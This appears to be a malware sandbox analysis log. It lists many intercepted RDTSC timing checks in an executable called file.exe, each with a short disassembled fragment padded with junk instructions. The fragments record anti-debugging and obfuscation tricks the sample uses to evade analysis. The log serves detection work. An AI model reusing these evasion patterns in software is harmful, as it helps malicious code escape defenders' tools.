Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5BC3 second address: 12B5BE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3174D23619h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7B82 second address: 12B7B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7B86 second address: 12B7B9F instructions: 0x00000000 rdtsc 0x00000002 js 00007F3174D23606h 0x00000008 jbe 00007F3174D23606h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jl 00007F3174D23606h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7D24 second address: 12B7D28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7D28 second address: 12B7D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3174D2360Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jnc 00007F3174D23606h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC56A second address: 12BC574 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC574 second address: 12BC595 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23619h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC595 second address: 12BC599 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232127 second address: 123212B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BFF67 second address: 12BFF7E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F31753CFFD2h 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C00F5 second address: 12C00F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C00F9 second address: 12C0109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F31753CFFC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C0109 second address: 12C010D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C010D second address: 12C0122 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d jp 00007F31753CFFC6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C02B8 second address: 12C02C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jg 00007F3174D23606h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C0732 second address: 12C076E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F31753CFFECh 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F31753CFFC6h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C076E second address: 12C0772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C08CD second address: 12C08D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C08D1 second address: 12C08D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C08D5 second address: 12C08DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C08DE second address: 12C08E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C5397 second address: 12C539D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C539D second address: 12C53A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C53A7 second address: 12C53C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F31753CFFD9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C53C4 second address: 12C53C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C57F4 second address: 12C57FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C57FA second address: 12C5801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C5961 second address: 12C5966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A141 second address: 126A1CE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jg 00007F3174D23612h 0x00000011 mov ebx, dword ptr [ebp+1247F030h] 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F3174D23608h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 or edx, 7BFE82EAh 0x00000037 add eax, ebx 0x00000039 jno 00007F3174D23608h 0x0000003f jl 00007F3174D2360Eh 0x00000045 jng 00007F3174D23608h 0x0000004b mov dh, al 0x0000004d nop 0x0000004e push edi 0x0000004f jmp 00007F3174D23610h 0x00000054 pop edi 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F3174D23611h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A1CE second address: 126A254 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007F31753CFFC6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F31753CFFC8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 push 00000004h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007F31753CFFC8h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000015h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 jmp 00007F31753CFFD3h 0x00000048 mov ecx, 0F7B391Eh 0x0000004d nop 0x0000004e push edx 0x0000004f jmp 00007F31753CFFD0h 0x00000054 pop edx 0x00000055 push eax 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 js 00007F31753CFFC6h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A254 second address: 126A258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A258 second address: 126A262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A262 second address: 126A266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF085 second address: 12CF08D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF08D second address: 12CF0C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 ja 00007F3174D23606h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3174D2360Ah 0x0000001a jmp 00007F3174D23618h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD290 second address: 12CD295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD3D7 second address: 12CD3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD3DD second address: 12CD3F7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F31753CFFC6h 0x00000008 jmp 00007F31753CFFD0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD3F7 second address: 12CD403 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3174D2360Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FBF2 second address: 121FBF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FBF8 second address: 121FC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3174D2360Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FC04 second address: 121FC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F31753CFFCEh 0x00000009 je 00007F31753CFFCEh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F31753CFFCAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDA5D second address: 12CDA61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDA61 second address: 12CDA65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDA65 second address: 12CDA6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDA6B second address: 12CDA75 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F31753CFFCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDD62 second address: 12CDD66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDD66 second address: 12CDD74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEB66 second address: 12CEB7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3174D23615h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEB7F second address: 12CEB8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F31753CFFC6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D301C second address: 12D3020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2BCA second address: 12D2BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F31753CFFD4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2D4F second address: 12D2D53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7A76 second address: 12D7A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DDF32 second address: 12DDF52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3174D23618h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DDF52 second address: 12DDF56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE205 second address: 12DE211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE211 second address: 12DE230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE3A9 second address: 12DE3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE3AE second address: 12DE3E4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F31753CFFC8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F31753CFFD5h 0x00000014 jbe 00007F31753CFFC6h 0x0000001a pushad 0x0000001b popad 0x0000001c je 00007F31753CFFC6h 0x00000022 popad 0x00000023 push esi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE3E4 second address: 12DE3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE3E9 second address: 12DE3EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE57D second address: 12DE583 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD556 second address: 12DD562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F31753CFFC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD562 second address: 12DD566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223225 second address: 122322B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122322B second address: 1223231 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6B68 second address: 12E6B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6B6E second address: 12E6B74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6B74 second address: 12E6B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F5570 second address: 12F5581 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F5581 second address: 12F5597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F31753CFFD0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7BB4 second address: 12F7BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3174D2360Fh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F3174D23606h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7BD4 second address: 12F7BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7BD8 second address: 12F7BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7BDE second address: 12F7BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7BE5 second address: 12F7BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7A2C second address: 12F7A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7A32 second address: 12F7A36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306CE2 second address: 1306CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306CE8 second address: 1306CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306CEF second address: 1306D03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F31753CFFCFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306D03 second address: 1306D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13105BC second address: 13105C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130F6FB second address: 130F703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310277 second address: 131027C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1314BAE second address: 1314BD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23618h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F3174D2360Ch 0x00000012 jnl 00007F3174D23606h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1314BD9 second address: 1314BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F31753CFFC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1314BE3 second address: 1314BF2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007F3174D23606h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1314D52 second address: 1314D61 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F31753CFFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1314D61 second address: 1314D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1314D66 second address: 1314DB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F31753CFFCAh 0x0000000a jl 00007F31753CFFC6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007F31753CFFD8h 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jo 00007F31753CFFC6h 0x00000022 jmp 00007F31753CFFCEh 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13228C6 second address: 13228D6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3174D2360Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13228D6 second address: 13228FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F31753CFFCAh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132125F second address: 132126F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3174D23606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132126F second address: 1321273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321273 second address: 1321277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321277 second address: 132127D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13317BE second address: 13317C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13317C2 second address: 13317DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F31753CFFC6h 0x0000000a jmp 00007F31753CFFD2h 0x0000000f rdtsc
